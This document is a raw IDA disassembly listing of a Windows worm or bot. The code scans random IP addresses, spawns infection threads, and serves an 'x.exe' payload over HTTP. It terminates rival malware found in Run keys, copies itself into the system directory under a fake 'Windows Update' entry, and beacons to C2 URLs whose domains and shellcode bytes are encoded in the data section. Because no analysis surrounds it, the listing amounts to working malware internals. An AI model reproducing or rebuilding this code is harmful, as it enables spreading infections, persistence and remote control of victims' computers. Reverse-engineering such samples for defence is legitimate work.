		mov	[esp+0Ch+var_C], offset	aU13 ; "u13"
		call	sub_30901EE1
		mov	[esp+0Ch+var_C], offset	aU14 ; "u14"
		call	sub_30901EE1
		pop	ecx
		cmp	[ebp+arg_0], edi
		jz	short loc_3090244D
		push	offset aWs2_32	; "ws2_32"
		mov	esi, dword_309010A4
		call	esi	; LoadLibraryA
		push	offset aWininet	; "wininet"
		call	esi	; LoadLibraryA
		push	offset aMsvcrt	; "msvcrt"
		call	esi	; LoadLibraryA
		push	offset aAdvapi32 ; "advapi32"
		call	esi	; LoadLibraryA
		push	offset aUser32	; "user32"
		call	esi	; LoadLibraryA
		push	offset aUterm14	; "uterm14"
		call	sub_30901EE1
		pop	ecx
		mov	dword_30904FC4,	eax


loc_3090244D:				; CODE XREF: sub_3090235D+B5j
		call	sub_309022B3
		push	edi
		push	offset sub_3090216F
		call	sub_30901EF0
		push	edi
		push	offset sub_3090169C
		call	sub_30901EF0
		push	edi
		push	offset loc_309026BF
		call	sub_30901EF0
		add	esp, 18h


loc_30902476:				; CODE XREF: sub_3090235D+134j
		call	sub_30902349
		test	eax, eax
		jnz	short loc_30902493
		push	edi
		call	dword_30901018	; AbortSystemShutdownA
		push	1388h
		call	dword_30901094	; Sleep
		jmp	short loc_30902476
; ---------------------------------------------------------------------------


loc_30902493:				; CODE XREF: sub_3090235D+120j
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_2
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_3090235D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309024B0	proc near		; DATA XREF: sub_30902514+55o
					; sub_3090259C+6Ao ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_309024BF
		push	1
		pop	eax
		jmp	short locret_30902510
; ---------------------------------------------------------------------------


loc_309024BF:				; CODE XREF: sub_309024B0+8j
		mov	al, byte ptr [ebp+arg_0+3]
		push	ebx
		push	esi
		mov	[ebp+var_1], al
		xor	bl, bl


loc_309024C9:				; CODE XREF: sub_309024B0+5Aj
		call	sub_30902349
		test	eax, eax
		jnz	short loc_3090250C
		call	sub_30901FF0
		test	eax, eax
		jz	short loc_3090250C
		cmp	[ebp+var_1], bl
		jz	short loc_30902505
		mov	byte ptr [ebp+arg_0+3],	bl
		push	[ebp+arg_0]
		call	sub_309017B9
		movzx	esi, word_30904FDC
		pop	ecx
		call	dword_309010F8	; rand
		cdq
		idiv	esi
		add	edx, esi
		push	edx
		call	dword_30901094	; Sleep


loc_30902505:				; CODE XREF: sub_309024B0+2Ej
		inc	bl
		cmp	bl, 0FFh
		jb	short loc_309024C9


loc_3090250C:				; CODE XREF: sub_309024B0+20j
					; sub_309024B0+29j
		pop	esi
		xor	eax, eax
		pop	ebx

locret_30902510:			; CODE XREF: sub_309024B0+Dj
		leave
		retn	4
sub_309024B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30902514	proc near		; DATA XREF: sub_3090259C+7Eo
					; UPX0:30902754o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_30902522
		push	1
		pop	eax
		jmp	short loc_30902598
; ---------------------------------------------------------------------------


loc_30902522:				; CODE XREF: sub_30902514+7j
		push	ebx
		push	esi
		push	edi
		call	sub_30901EB3
		mov	esi, dword_309010F8
		xor	ebx, ebx


loc_30902532:				; CODE XREF: sub_30902514+7Dj
		call	sub_30902349
		test	eax, eax
		jnz	short loc_30902593
		call	sub_30901FF0
		test	eax, eax
		jz	short loc_30902593
		call	esi	; rand
		mov	byte ptr [ebp+arg_0+2],	al
		call	esi	; rand
		push	offset dword_30904FD4
		mov	byte ptr [ebp+arg_0+3],	al
		call	dword_3090106C	; InterlockedIncrement
		push	[ebp+arg_0]
		call	sub_309017B9
		test	eax, eax
		pop	ecx
		jnz	short loc_30902575
		push	[ebp+arg_0]
		push	offset sub_309024B0
		call	sub_30901F0A
		pop	ecx
		pop	ecx


loc_30902575:				; CODE XREF: sub_30902514+50j
		movzx	edi, word_30904FDC
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	dword_30901094	; Sleep
		inc	ebx
		cmp	ebx, 8000h
		jl	short loc_30902532


loc_30902593:				; CODE XREF: sub_30902514+25j
					; sub_30902514+2Ej
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx


loc_30902598:				; CODE XREF: sub_30902514+Cj
		pop	ebp
		retn	4
sub_30902514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090259C	proc near		; DATA XREF: UPX0:3090276Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_30901EB3
		call	sub_30902349
		test	eax, eax
		jnz	loc_30902655
		push	ebx
		mov	ebx, dword_30901094
		push	esi
		mov	esi, dword_309010F8
		push	edi


loc_309025C2:				; CODE XREF: sub_3090259C+48j
					; sub_3090259C+B0j
		call	esi	; rand
		mov	byte ptr [ebp+var_4+1],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+3],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+2],	al


loc_309025D1:				; CODE XREF: sub_3090259C+3Cj
		call	esi	; rand
		cmp	al, 7Fh
		mov	byte ptr [ebp+var_4], al
		jz	short loc_309025D1
		call	sub_30901FB1
		mov	edi, [ebp+var_4]
		cmp	edi, eax
		jz	short loc_309025C2
		call	sub_30901FF0
		test	eax, eax
		jz	short loc_3090262D
		push	offset dword_30904FD4
		call	dword_3090106C	; InterlockedIncrement
		push	edi
		call	sub_309017B9
		test	eax, eax
		pop	ecx
		jnz	short loc_30902634
		push	edi
		push	offset sub_309024B0
		call	sub_30901F0A
		pop	ecx
		mov	[ebp+var_8], 4
		pop	ecx


loc_30902619:				; CODE XREF: sub_3090259C+8Dj
		push	edi
		push	offset sub_30902514
		call	sub_30901F0A
		dec	[ebp+var_8]
		pop	ecx
		pop	ecx
		jnz	short loc_30902619
		jmp	short loc_30902634
; ---------------------------------------------------------------------------


loc_3090262D:				; CODE XREF: sub_3090259C+51j
		push	2710h
		call	ebx	; Sleep


loc_30902634:				; CODE XREF: sub_3090259C+67j
					; sub_3090259C+8Fj
		movzx	edi, word_30904FDC
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	ebx	; Sleep
		call	sub_30902349
		test	eax, eax
		jz	loc_309025C2
		pop	edi
		pop	esi
		pop	ebx


loc_30902655:				; CODE XREF: sub_3090259C+11j
		push	0
		call	dword_309010CC	; ExitThread
		xor	eax, eax
		leave
		retn	4
sub_3090259C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30902663	proc near		; CODE XREF: UPX0:30902731p
					; UPX0:loc_30902797p

var_50		= byte ptr -50h
var_28		= byte ptr -28h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	esi
		call	sub_30901FB1
		push	eax
		call	dword_30901158	; inet_ntoa
		mov	esi, dword_30901068
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	esi	; lstrcpy
		push	dword_30904FCC
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_50]
		push	offset aHttpSDX_exe ; "http://%s:%d/x.exe"
		push	eax
		call	dword_30901118	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_50]
		push	eax
		push	offset word_309042F2
		call	esi	; lstrcpy
		push	offset byte_309042F0
		call	dword_30901084	; lstrlen
		mov	byte_309042F0[eax], 0DFh
		pop	esi
		leave
		retn
sub_30902663	endp

; ---------------------------------------------------------------------------


loc_309026BF:				; DATA XREF: sub_3090235D+10Co
		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		mov	dword_30904FD4,	ebx
		call	sub_30901FF0
		mov	esi, dword_30901094
		mov	edi, 1388h
		test	eax, eax
		jnz	short loc_309026ED


loc_309026E1:				; CODE XREF: UPX0:309026EBj
		push	edi
		call	esi	; Sleep
		call	sub_30901FF0
		test	eax, eax
		jz	short loc_309026E1


loc_309026ED:				; CODE XREF: UPX0:309026DFj
		lea	eax, [esp+14h]
		push	ebx
		push	eax
		call	dword_3090112C	; InternetGetConnectedState
		test	byte ptr [esp+14h], 2
		push	50h
		mov	dword_30904FD8,	ebx
		pop	ebp
		mov	word_30904FDC, 96h
		jz	short loc_3090272A
		mov	dword_30904FD8,	1
		mov	ebp, 15Eh
		mov	word_30904FDC, 14h


loc_3090272A:				; CODE XREF: UPX0:30902710j
		call	sub_30901FB1
		mov	ebx, eax
		call	sub_30902663
		cmp	ebx, 100007Fh
		jz	short loc_3090274B
		push	ebx
		push	offset sub_309024B0
		call	sub_30901F0A
		pop	ecx
		pop	ecx


loc_3090274B:				; CODE XREF: UPX0:3090273Cj
		mov	dword ptr [esp+10h], 4


loc_30902753:				; CODE XREF: UPX0:30902764j
		push	ebx
		push	offset sub_30902514
		call	sub_30901F0A
		dec	dword ptr [esp+18h]
		pop	ecx
		pop	ecx
		jnz	short loc_30902753
		test	ebp, ebp
		jle	short loc_3090277B


loc_3090276A:				; CODE XREF: UPX0:30902779j
		push	0
		push	offset sub_3090259C
		call	sub_30901F0A
		pop	ecx
		dec	ebp
		pop	ecx
		jnz	short loc_3090276A


loc_3090277B:				; CODE XREF: UPX0:30902768j
					; UPX0:30902787j ...
		call	sub_30901FF0
		test	eax, eax
		jz	short loc_30902789
		push	edi
		call	esi	; Sleep
		jmp	short loc_3090277B
; ---------------------------------------------------------------------------


loc_30902789:				; CODE XREF: UPX0:30902782j
					; UPX0:30902795j
		call	sub_30901FF0
		test	eax, eax
		jnz	short loc_30902797
		push	edi
		call	esi	; Sleep
		jmp	short loc_30902789
; ---------------------------------------------------------------------------


loc_30902797:				; CODE XREF: UPX0:30902790j
		call	sub_30902663
		jmp	short loc_3090277B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090279E	proc near		; CODE XREF: sub_30902937+8Cp
					; sub_30902AB1+11Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3090100C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_309027D1
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_30901010	; RegDeleteValueA
		push	[ebp+arg_4]
		call	dword_30901014	; RegCloseKey


loc_309027D1:				; CODE XREF: sub_3090279E+1Cj
		pop	ebp
		retn
sub_3090279E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309027D3	proc near		; CODE XREF: sub_3090216F+33p
					; sub_30902937+7Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_10]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		xor	esi, esi
		push	0F003Fh
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3090100C	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_309027FF
		push	1
		pop	eax
		jmp	short loc_30902829
; ---------------------------------------------------------------------------


loc_309027FF:				; CODE XREF: sub_309027D3+25j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		call	dword_30901008	; RegQueryValueExA
		test	eax, eax
		jz	short loc_3090281E
		push	2
		pop	esi


loc_3090281E:				; CODE XREF: sub_309027D3+46j
		push	[ebp+arg_10]
		call	dword_30901014	; RegCloseKey
		mov	eax, esi


loc_30902829:				; CODE XREF: sub_309027D3+2Aj
		pop	esi
		leave
		retn
sub_309027D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090282C	proc near		; CODE XREF: sub_309029E5+96p
					; sub_30902AB1+7Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		lea	eax, [ebp+arg_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_30901000	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_30902855
		push	1
		pop	eax
		jmp	short loc_3090287C
; ---------------------------------------------------------------------------


loc_30902855:				; CODE XREF: sub_3090282C+22j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	1
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_30901004	; RegSetValueExA
		test	eax, eax
		jz	short loc_30902871
		push	2
		pop	esi


loc_30902871:				; CODE XREF: sub_3090282C+40j
		push	[ebp+arg_4]
		call	dword_30901014	; RegCloseKey
		mov	eax, esi


loc_3090287C:				; CODE XREF: sub_3090282C+27j
		pop	esi
		pop	ebp
		retn
sub_3090282C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090287F	proc near		; CODE XREF: sub_30902937+98p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		call	dword_30901084	; lstrlen
		mov	esi, eax
		dec	esi
		test	esi, esi
		jle	loc_30902933


loc_3090289F:				; CODE XREF: sub_3090287F+27j
		cmp	byte ptr [esi+ebx], 5Ch
		jz	short loc_309028A8
		dec	esi
		jns	short loc_3090289F


loc_309028A8:				; CODE XREF: sub_3090287F+24j
		push	0
		push	2
		call	sub_30902C7C	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_30902933
		push	128h
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		call	sub_30902C26	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_128]
		mov	[ebp+var_128], 128h
		push	eax
		push	[ebp+arg_0]
		call	sub_30902C76	; Process32First
		test	eax, eax
		jz	short loc_30902933
		lea	esi, [esi+ebx+1]


loc_309028F0:				; CODE XREF: sub_3090287F+B2j
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		call	dword_30901100	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_30902920
		push	[ebp+var_120]
		push	0
		push	1F0FFFh
		call	dword_309010AC	; OpenProcess
		push	0
		push	eax
		call	dword_30901060	; TerminateProcess


loc_30902920:				; CODE XREF: sub_3090287F+83j
		lea	eax, [ebp+var_128]
		push	eax
		push	[ebp+arg_0]
		call	sub_30902C70	; Process32Next
		test	eax, eax
		jnz	short loc_309028F0


loc_30902933:				; CODE XREF: sub_3090287F+1Aj
					; sub_3090287F+38j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_3090287F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30902937	proc near		; CODE XREF: UPX0:30902326p

var_138		= byte ptr -138h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		lea	eax, [ebp+var_30]
		push	edi
		mov	[ebp+var_30], offset aWindowsSecurit ; "Windows	Security Manager"
		mov	[ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter"
		mov	[ebp+var_28], offset aSystemRestoreS ; "System Restore Service"
		mov	[ebp+var_24], offset aBotLoader	; "Bot Loader"
		mov	[ebp+var_20], offset aSystray ;	"SysTray"
		mov	[ebp+var_1C], offset aWinupdate	; "WinUpdate"
		mov	[ebp+var_18], offset aWindowsUpdateS ; "Windows	Update Service"
		mov	[ebp+var_14], offset aAvserve_exe ; "avserve.exe"
		mov	[ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service"
		mov	[ebp+var_C], offset aMsConfigV13 ; "MS Config v13"
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0Ah
		mov	edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	esi, 80000002h


loc_309029A0:				; CODE XREF: sub_30902937+A7j
		mov	eax, [ebp+var_4]
		push	104h
		mov	ebx, [eax]
		lea	eax, [ebp+var_138]
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_309027D3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_309029D7
		push	ebx
		push	edi
		push	esi
		call	sub_3090279E
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_3090287F
		add	esp, 10h


loc_309029D7:				; CODE XREF: sub_30902937+87j
		add	[ebp+var_4], 4
		dec	[ebp+var_8]
		jnz	short loc_309029A0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30902937	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309029E5	proc near		; CODE XREF: sub_30902AB1+D1p
					; sub_30902AB1+132p

var_78		= byte ptr -78h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		cmp	[ebp+arg_0], 0
		jz	short loc_309029FA
		push	[ebp+arg_0]
		call	dword_309010E0	; DeleteFileA


loc_309029FA:				; CODE XREF: sub_309029E5+Aj
		lea	eax, [ebp+var_78]
		push	63h
		push	eax
		call	dword_3090108C	; GetSystemDirectoryA
		test	eax, eax
		jz	locret_30902AAF
		push	esi
		call	dword_309010F8	; rand
		and	eax, 3
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_30901F2B
		mov	esi, dword_30901088
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_14]
		push	offset dword_30904228
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_78]
		push	offset dword_30904230
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		call	esi	; lstrcat
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_30901050	; CopyFileA
		lea	eax, [ebp+var_78]
		push	eax
		call	dword_30901084	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		push	offset aWindowsUpdate ;	"Windows Update"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_3090282C
		add	esp, 14h
		push	dword_30904FC4
		call	dword_3090107C	; CloseHandle
		lea	eax, [ebp+var_78]
		push	0
		push	eax
		call	dword_30901054	; WinExec
		push	1F4h
		call	dword_30901094	; Sleep
		push	0
		call	dword_309010D8	; ExitProcess
		pop	esi

locret_30902AAF:			; CODE XREF: sub_309029E5+23j
		leave
		retn
sub_309029E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30902AB1	proc near		; CODE XREF: UPX0:3090232Bp

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_84]
		push	63h
		push	eax
		push	0
		call	dword_30901048	; GetModuleFileNameA
		test	eax, eax
		jz	loc_30902BEA
		and	dword_30904FE0,	0
		lea	eax, [ebp+var_20]
		push	1Dh
		push	eax
		mov	edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless"
		push	offset aId	; "ID"
		mov	esi, 80000002h
		push	edi
		push	esi
		call	sub_309027D3
		add	esp, 14h
		test	eax, eax
		jz	short loc_30902B37
		call	dword_309010F8	; rand
		push	0Ah
		mov	ebx, offset aSmusmdxdnulxk ; "smusmdxdnulxk"
		cdq
		pop	ecx
		idiv	ecx
		add	edx, ecx
		push	edx
		push	ebx
		call	sub_30901F2B
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_30901084	; lstrlen
		inc	eax
		push	eax
		push	ebx
		push	offset aId	; "ID"
		push	edi
		push	esi
		call	sub_3090282C
		add	esp, 14h
		jmp	short loc_30902B46
; ---------------------------------------------------------------------------


loc_30902B37:				; CODE XREF: sub_30902AB1+4Dj
		lea	eax, [ebp+var_20]
		push	eax
		push	offset aSmusmdxdnulxk ;	"smusmdxdnulxk"
		call	dword_30901068	; lstrcpy


loc_30902B46:				; CODE XREF: sub_30902AB1+84j
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	offset aWindowsUpdate ;	"Windows Update"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi
		call	sub_309027D3
		add	esp, 14h
		test	eax, eax
		jz	short loc_30902B8C
		push	2
		push	offset a1	; "1"
		push	offset aClient	; "Client"
		push	edi
		push	esi
		call	sub_3090282C
		lea	eax, [ebp+var_84]
		push	eax
		push	0
		call	sub_309029E5
		add	esp, 1Ch
		jmp	short loc_30902BEA
; ---------------------------------------------------------------------------


loc_30902B8C:				; CODE XREF: sub_30902AB1+B3j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	dword_3090104C	; lstrcmpi
		test	eax, eax
		jnz	short loc_30902BD5
		lea	eax, [ebp+var_20]
		push	1Dh
		mov	ebx, offset aClient ; "Client"
		push	eax
		push	ebx
		push	edi
		push	esi
		call	sub_309027D3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_30902BEA
		push	ebx
		push	edi
		push	esi
		mov	dword_30904FE0,	1
		call	sub_3090279E
		add	esp, 0Ch
		jmp	short loc_30902BEA
; ---------------------------------------------------------------------------


loc_30902BD5:				; CODE XREF: sub_30902AB1+F1j
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_309029E5
		pop	ecx
		pop	ecx


loc_30902BEA:				; CODE XREF: sub_30902AB1+1Fj
					; sub_30902AB1+D9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30902AB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_30902BEF	proc near		; CODE XREF: sub_309011A0+CAp
					; sub_309015C7+11p ...

arg_0		= dword	ptr  4

		push	4
		push	1000h
		push	[esp+8+arg_0]
		push	0
		call	dword_30901044	; VirtualAlloc
		retn
sub_30902BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_30902C03	proc near		; CODE XREF: sub_309011A0+10Bp
					; sub_309015C7+BDp

arg_0		= dword	ptr  4

		push	8000h
		push	0
		push	[esp+8+arg_0]
		call	dword_30901040	; VirtualFree
		retn
sub_30902C03	endp

; ---------------------------------------------------------------------------
		align 10h


loc_30902C20:				; DATA XREF: sub_30901422+Ao
					; sub_3090235D+Ao
		jmp	dword ptr loc_309010FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C26	proc near		; CODE XREF: sub_309017B9+128p
					; sub_309017B9+134p ...
		jmp	dword_309010F4
sub_30902C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C2C	proc near		; CODE XREF: sub_309017B9+9Cp
					; sub_309017B9+C5p ...
		jmp	dword_309010F0
sub_30902C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C32	proc near		; CODE XREF: sub_309017B9+93p
					; sub_309017B9+B2p ...
		jmp	dword_309010EC
sub_30902C32	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_30902C40	proc near		; CODE XREF: sub_309017B9+8p

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_30902C60


loc_30902C4C:				; CODE XREF: sub_30902C40+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_30902C4C


loc_30902C60:				; CODE XREF: sub_30902C40+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_30902C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C70	proc near		; CODE XREF: sub_3090287F+ABp
		jmp	dword_30901064
sub_30902C70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C76	proc near		; CODE XREF: sub_3090287F+64p
		jmp	dword_3090105C
sub_30902C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_30902C7C	proc near		; CODE XREF: sub_3090287F+2Dp
		jmp	dword_30901058
sub_30902C7C	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
		dd 4DFh	dup(0)
dword_30904000	dd 206h, 2400h,	31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h
					; DATA XREF: sub_30901422+112o
		dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh
		dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h
		dd 3072657Ah, 0
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_309015C7+84o
		align 10h
byte_30904080	db 1			; DATA XREF: sub_3090169C+5r
off_30904081	dd offset dword_3090421C ; DATA	XREF: sub_3090169C+Dr
		db 1, 0Ch, 42h
		db 90h
		db 30h,	1, 0FCh
		dd 1309041h, 309041ECh,	9041D800h, 41C80130h, 0B8013090h
		dd 309041h, 309041ACh, 9041A001h, 41900130h, 80003090h
		dd 1309041h, 30904174h,	90416801h, 415C0130h, 54013090h
		dd 1309041h, 30904144h,	90413401h, 41200130h, 10013090h
		dd 1309041h, 30904108h,	9040FC01h, 40F00130h, 3090h, 68746566h
		dd 2E647261h, 7A6962h, 6B636168h, 2E737265h, 766Ch, 2E767663h
		dd 7572h, 2E777777h, 6C646572h,	2E656E69h, 7572h, 69766F6Ch
		dd 646F676Eh, 736F682Eh, 6B732E74h, 0
		dd 656C6966h, 72616573h, 722E6863h, 75h, 646C6F67h, 61736E65h
		dd 722E646Eh, 75h, 6B637566h, 75722Eh, 6F646170h, 2E696B6Eh
		dd 67726Fh, 6A6F7274h, 722E6E61h, 75h, 63657361h, 2E616B68h
		dd 7572h, 7473616Dh, 782D7265h,	6D6F632Eh, 0
		dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 722E7A61h
		dd 75h,	74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h
		dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h
		dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0
		dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh
		dd 75722E6Bh, 0
		dd 72617778h, 6A632E65h, 656E2E62h, 74h
dword_3090421C	dd 617A616Dh, 616B6166h, 75722Eh ; DATA	XREF: UPX0:off_30904081o
dword_30904228	dd 6578652Eh, 0		; DATA XREF: sub_309011A0+75o
					; sub_30902036+55o ...
dword_30904230	dd 5Ch			; DATA XREF: sub_309011A0+49o
					; sub_309029E5+56o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_309011A0+13o
		align 4
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_30901316+1Co
		align 4
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_30901316+Co
		align 10h
aZer0		db 'zer0',0             ; DATA XREF: sub_30901422+34o
		align 4
aHttpS		db 'http://%s',0        ; DATA XREF: sub_309015C7+71o
		align 4
aHttpSIndex_php	db 'http://%s/index.php?id=%s?scn=%d?inf=%d?ver=14?cnt=%s',0
					; DATA XREF: sub_309015C7+57o
		align 10h
byte_309042F0	db 0EBh			; DATA XREF: sub_309017B9+24Eo
					; sub_309017B9+260o ...
		db 58h
word_309042F2	dw 7468h		; DATA XREF: sub_30902663+40o
		dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h
		dd 6578652Eh, 4	dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h
		dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh
		dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h,	0DAE80AEBh
		dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h
